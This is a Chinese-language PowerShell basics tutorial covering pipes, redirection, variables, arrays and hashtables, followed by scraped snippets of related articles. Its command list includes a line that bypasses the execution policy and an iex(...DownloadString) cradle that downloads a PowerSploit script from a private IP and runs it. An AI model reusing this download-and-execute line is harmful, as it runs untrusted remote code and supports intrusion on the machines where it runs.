windows powershell基础

目录:

1.管道和重定向

2.命令执行

3.变量

4.数组和哈希表  #@()创建数组,使用","把每个值分隔开,@{}创建哈希表,用";"把每个值分隔开

5.常用命令

 get-help  查看帮助

 get-command 查询命令

 get-member  查看对象的成员信息

 get-verb  获取所有动词

 get-content 或者type  查看内容

 $psversiontable   查看powershell版本 

 ls env:    查看所有环境变量 

 ls alias:  或者get-alias  查看所有的别名 

 get-executionpolicy  查看脚本执行策略

 set-executionpolicy bypass  设置可以执行脚本

 . ./test1.ps1   把test1.ps1加载到内存  注意两个点之间有一个空格

 iex(New-Object Net.Webclient).DownloadString(‘http://10.10.10.132/PowerSploit-master/xx.ps1‘)    iex远程下载脚本执行    

 在字符串前面加"&",可以执行命令或者启动程序 

      

Powershell 是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境。你可以把它看成是命令行提示符cmd.exe的扩充

powershell命令和参数不区分大小写

1.1管道   #把上一条命令的输出作为下一条命令的输入

  

注:通过ls获取当前目录的所有文件信息,然后通过sort-object 排序,默认升序

1.2重定向  #把命令的输出保存到文件中,‘>’为覆盖,’>>’追加

  

注:查看内容可以通过type或者get-content查看

2.Powershell 查看可以执行的cmd命令(cmd /c help )

  

3.1变量

在powershell中变量名均是以美元符”$”开始,剩余字符可以是数字、字母、下划线的任意字符,并且powershell变量名大小写不敏感($a和$A 是同一个变量)

powershell一切皆对象,变量也是对象,通过$str(变量名) | get-member  查看变量所拥有的属性以及方法

  

查看正在使用的变量  ls variable: 

3.2环境变量

Powershell把所有环境变量的记录保存在env: 虚拟驱动中,因此可以列出所有环境变量 。一旦查出环境变量的名字就可以使用$env:name 访问了。

注:通过查找所有环境变量可以得到计算机名,当前所属域的域名,用户名等等

通过$env:属性名访问  

4.1数组

  1.命令返回数组   #当我们把一个命令的执行结果保存到一个变量中,可能会认为变量存放的是纯文本。
但是,事实上Powershell会把文本按每一行作为元素存为数组

  

  2.创建数组:

  在Powershell中创建数组可以使用逗号,创建空数组使用@()

  

  3.访问、添加数组:  #添加数组使用"+="

  

4.2哈希表

  1.创建哈希表

   之前使用@()创建数组,现在使用@{}创建哈希表,用";"把每个值分隔开,使用哈希表的键访问对应的值

   

  2.修改、增加、删除哈希表

   

------------------------------------------------------------------------------------------------------------------

详细请参考:powershell在线教程:https://www.pstips.net/powershell-online-tutorials

原文地址:https://www.cnblogs.com/yuzly/p/10425566.html

时间: 2024-10-30 07:52:34

windows powershell基础的相关文章

有奖试读—Windows PowerShell实战指南(第2版)

为什么要学PowerShell? Windows用户都已习惯于使用图形化界面去完成工作,因为GUI总能轻易地实现很多功能,并且不需要记住很多命令.使得短时间学会一种工具成为可能. 但是不幸的是,GUI并不能带来效率提升上的汇报,如果你花费5分钟在活动目录中创建一个新的用户(一般需要填写大量信息),之后再新建用户时,通常不会更快,那么新建100个新用户就会花费500分钟,通常没有任何办法使得我们输入信息以及单击操作更快,从而加快这个过程. 微软一直都有CMD命令来进行Windows的操作,但是很不

Powershell基础知识(二)

上一节主要介绍Powershell可发现,面向对象,一致性等特性,以及Powershell命令是基于.Net对象等重要概念,以及Powershell命令的命名规范,详细内容点击这里. 这一节的Powershell基础知识主要包含以下知识点 获取命令的摘要信息. 获取命令的帮助信息. 总结. 获取命令的摘要信息 Powershell命令 Get-Command 可检索当前shell中所有可用的命令名称.在Powershell提示符输入 Get-Command ,输出的内容类似以下内容(以下只写出输

初探--Windows PowerShell

初探--Windows PowerShell 目录与文件的基本操作 你可以通过一些命令浏览系统里的目录,创建,移动,删除目录还有文件.目录与文件的操作是使用命令行工具的基础.Windows 用户打开 Powershell ,然后试一下接下来的这些命令. (1)查看你当前的位置:pwd Powershell,还有 终端,在光标的左边默认会显示你当前所在的目录.你也可以使用 pwd ( print working directory )这个命令,查看自己当前所在的位置. C:\Users\Admin

Powershell基础知识(一)

上节介绍了Windows自带的Powershell开发工具:命令行行窗体和集成开发环境ISE的启动及一些配置注意事项,具体细节使劲戳Powershell开发工具. 这一节介绍Powershell的基础知识,包含以下知识点 Powershell的一些特性 理解Powershell中的一些重要概念 理解Powershell中命令的命名规范 总结 Powershell的一些特性 Powershell对命令行和脚本环境添加了许多新的功能,以此来改善Powershell的管理和脚本脚本交互能力,想对于其他

Windows PowerShell是啥?看完本文你就懂它了

这篇文章主要介绍了Windows PowerShell是啥?Windows PowerShell是什么?Windows PowerShell有哪些特性?Windows PowerShell有什么用?看完本文你就懂它了,需要的朋友可以参考下 一直很羡慕Linux的命令提示符(当然他们叫Shell).正则表达式,管道,各种神奇的命令,组合起来就能高效完成很多复杂的任务.效率实在是高.流了n年的哈喇子以后,终于有幸用上了Win7,邂逅了cmd的升级版:Windows PowerShell.从此暗爽无比

试读—Windows PowerShell实战指南(第2版)

看到Windows PowerShell实战指南(第2版),想起了女朋友送我的第一个生日礼物,它是什么呢? 一本书,书的名字是:Windows 2000 脚本编程实用大全: 时间过得真快,转眼十年过去了: 为什么偏偏选 了这么一本书做为生日礼物呢? 这是秘密,自己想去! 回来说正题,为什么看到Windows PowerShell实战指南(第2版)会让我想到Windows 2000 脚本编程实用大全呢? 看看下面的例子: var ws = WScript.CreateObject("WScript

Windows Powershell 3 极速入门

Learn Windows PowerShell 3 in a Month of Lunches(2rd) 2013, DON JONES 这本书基于 PowerShell 3.0,做初学者教材甚好,若有 Linux shell 基础则可一目十行.如下便是摘录式笔记,仅记录一些感兴趣的重点,涉及大部分章节. 书中很少涉及语法,因为按作者的说法:操起命令直接上,这才是 PS 的主要使用模式(PowerShell-ish ways),而非一般的脚本编程,流控之类的语法都只是命令的粘合剂. 读完一遍,

Powershell基础

一.对象 从事开发工作的都知道,面向对象的概念是为了更好用程序语言解决现实问题二提出的. 在Powershell中,对象是值我们收集信息或者执行操作的行为.包括属性和方法.Powershell中的一切皆为对象.我们所有的操作都是对对象的操作. 二.Get-Member Get-Member 可以现实有关命令返回的 .NET 对象的信息.该信息包括对象的类型.属性和方法. 若要使用 Get-Member,请使用管道运算符 (|) 将命令结果发送到 Get-Member.例如: get-Servic

不一样的命令行 – Windows PowerShell简介 (转载)

转载自http://www.cnblogs.com/grapeot/archive/2010/02/22/1670822.html,谢谢博主. 引子 一直很羡慕Linux的命令提示符(当然他们叫Shell).正则表达式,管道,各种神奇的命令,组合起来就能高效完成很多复杂的任务.效率实在是高.流了n年的哈喇子以后,终于有幸用上了Win7,邂逅了cmd的升级版:Windows PowerShell.从此暗爽无比,原来Windows下也有这样的利器呀~看看下面的Windows脚本,不到15行有效代码.